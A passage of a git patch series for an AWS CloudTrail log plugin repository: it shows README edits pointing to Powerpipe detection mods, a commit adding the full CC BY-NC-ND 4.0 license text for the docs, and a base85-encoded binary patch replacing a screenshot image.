plugin are available in [Powerpi For example, the [AWS CloudTrail Logs Detections mod](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-aws-cloudtrail-log-detections) scans your CloudTrail logs for anomalies, such as an S3 bucket being made public or a change in your VPC network infrastructure. -Dashboards and detections in this mod and others are written as code, making them easy to customize and adapt to your specific requirements. +Dashboards and detections are [open source](https://github.com/topics/tailpipe-mod), allowing easy customization and collaboration. -To get started, browse the [Powerpipe Mods for the AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws/mods) and follow the instructions provided for each mod. +To get started, choose a mod from the [Powerpipe Hub](https://hub.powerpipe.io/?engines=tailpipe&q=aws). + +![image](docs/images/aws_cloudtrail_log_mitre_dashboard.png) ## Developing @@ -128,9 +120,6 @@ After making your local changes, build the plugin, which automatically installs make ``` -> [!TIP] -> Replace `aws_cloudtrail_log` with your table's name if it's different. - Re-collect your data: ``` From 27c8e3a50ac3d738ce636ffdd9367a5ca2c8a4d3 Mon Sep 17 00:00:00 2001 From: cbruno10 Date: Tue, 28 Jan 2025 12:38:09 -0500 Subject: [PATCH 164/180] Add CC BY-NC-ND license for docs --- docs/LICENSE | 402 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 402 insertions(+) create mode 100644 docs/LICENSE diff --git a/docs/LICENSE b/docs/LICENSE new file mode 100644 index 00000000..9badf7ab --- /dev/null +++ b/docs/LICENSE @@ -0,0 +1,402 @@ +Attribution-NonCommercial-NoDerivatives 4.0 International + +======================================================================= + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 +International Public License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution-NonCommercial-NoDerivatives 4.0 International Public +License ("Public License"). To the extent this Public License may be +interpreted as a contract, You are granted the Licensed Rights in +consideration of Your acceptance of these terms and conditions, and the +Licensor grants You such rights in consideration of benefits the +Licensor receives from making the Licensed Material available under +these terms and conditions. + + +Section 1 -- Definitions. + + a. Adapted Material means material subject to Copyright and Similar + Rights that is derived from or based upon the Licensed Material + and in which the Licensed Material is translated, altered, + arranged, transformed, or otherwise modified in a manner requiring + permission under the Copyright and Similar Rights held by the + Licensor. For purposes of this Public License, where the Licensed + Material is a musical work, performance, or sound recording, + Adapted Material is always produced where the Licensed Material is + synched in timed relation with a moving image. + + b. Copyright and Similar Rights means copyright and/or similar rights + closely related to copyright including, without limitation, + performance, broadcast, sound recording, and Sui Generis Database + Rights, without regard to how the rights are labeled or + categorized. For purposes of this Public License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar + Rights. + + c. Effective Technological Measures means those measures that, in the + absence of proper authority, may not be circumvented under laws + fulfilling obligations under Article 11 of the WIPO Copyright + Treaty adopted on December 20, 1996, and/or similar international + agreements. + + d. Exceptions and Limitations means fair use, fair dealing, and/or + any other exception or limitation to Copyright and Similar Rights + that applies to Your use of the Licensed Material. + + e. Licensed Material means the artistic or literary work, database, + or other material to which the Licensor applied this Public + License. + + f. Licensed Rights means the rights granted to You subject to the + terms and conditions of this Public License, which are limited to + all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. + + g. Licensor means the individual(s) or entity(ies) granting rights + under this Public License. + + h. NonCommercial means not primarily intended for or directed towards + commercial advantage or monetary compensation. For purposes of + this Public License, the exchange of the Licensed Material for + other material subject to Copyright and Similar Rights by digital + file-sharing or similar means is NonCommercial provided there is + no payment of monetary compensation in connection with the + exchange. + + i. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such + as reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material + available to the public including in ways that members of the + public may access the material from a place and at a time + individually chosen by them. + + j. Sui Generis Database Rights means rights other than copyright + resulting from Directive 96/9/EC of the European Parliament and of + the Council of 11 March 1996 on the legal protection of databases, + as amended and/or succeeded, as well as other essentially + equivalent rights anywhere in the world. + + k. You means the individual or entity exercising the Licensed Rights + under this Public License. Your has a corresponding meaning. + + +Section 2 -- Scope. + + a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part, for NonCommercial purposes only; and + + b. produce and reproduce, but not Share, Adapted Material + for NonCommercial purposes only. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + + b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties, including when + the Licensed Material is used other than for NonCommercial + purposes. + + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + + a. Attribution. + + 1. If You Share the Licensed Material, You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + For the avoidance of doubt, You do not have permission under + this Public License to Share Adapted Material. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + + a. for the avoidance of doubt, Section 2(a)(1) grants You the right + to extract, reuse, reproduce, and Share all or a substantial + portion of the contents of the database for NonCommercial purposes + only and provided You do not Share Adapted Material; + + b. if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database + Rights, then the database in which You have Sui Generis Database + Rights (but not its individual contents) is Adapted Material; and + + c. You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other Copyright and Similar Rights. + + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + + a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE + EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS + AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF + ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, + IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, + WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, + ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT + KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT + ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + + b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE + TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, + NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, + INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, + COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR + USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN + ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR + DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR + IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + + c. The disclaimer of warranties and limitation of liability provided + above shall be interpreted in a manner that, to the extent + possible, most closely approximates an absolute disclaimer and + waiver of all liability. + + +Section 6 -- Term and Termination. + + a. This Public License applies for the term of the Copyright and + Similar Rights licensed here. However, if You fail to comply with + this Public License, then Your rights under this Public License + terminate automatically. + + b. Where Your right to use the Licensed Material has terminated under + Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + + c. For the avoidance of doubt, the Licensor may also offer the + Licensed Material under separate terms or conditions or stop + distributing the Licensed Material at any time; however, doing so + will not terminate this Public License. + + d. Sections 1, 5, 6, 7, and 8 survive termination of this Public + License. + + +Section 7 -- Other Terms and Conditions. + + a. The Licensor shall not be bound by any additional or different + terms or conditions communicated by You unless expressly agreed. + + b. Any arrangements, understandings, or agreements regarding the + Licensed Material not stated herein are separate from and + independent of the terms and conditions of this Public License. + + +Section 8 -- Interpretation. + + a. For the avoidance of doubt, this Public License does not, and + shall not be interpreted to, reduce, limit, restrict, or impose + conditions on any use of the Licensed Material that could lawfully + be made without permission under this Public License. + + b. To the extent possible, if any provision of this Public License is + deemed unenforceable, it shall be automatically reformed to the + minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License + without affecting the enforceability of the remaining terms and + conditions. + + c. No term or condition of this Public License will be waived and no + failure to comply consented to unless expressly agreed to by the + Licensor. + + d. Nothing in this Public License constitutes or may be interpreted + as a limitation upon, or waiver of, any privileges and immunities + that apply to the Licensor or You, including from the legal + processes of any jurisdiction or authority. + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. From 2c40eb4a1dd112706380c116b5442a865467236b Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Tue, 28 Jan 2025 12:45:30 -0500 Subject: [PATCH 165/180] Add more spacing around edges of terminal screenshot --- docs/images/aws_cloudtrail_log_terminal.png | Bin 493749 -> 256962 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/docs/images/aws_cloudtrail_log_terminal.png b/docs/images/aws_cloudtrail_log_terminal.png index 86a7a853ca3d0574dc2d63cf762657e561ad0bff..c5400433227736508be8127131c7cf22bf4cdc17 100644 GIT binary patch literal 256962 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 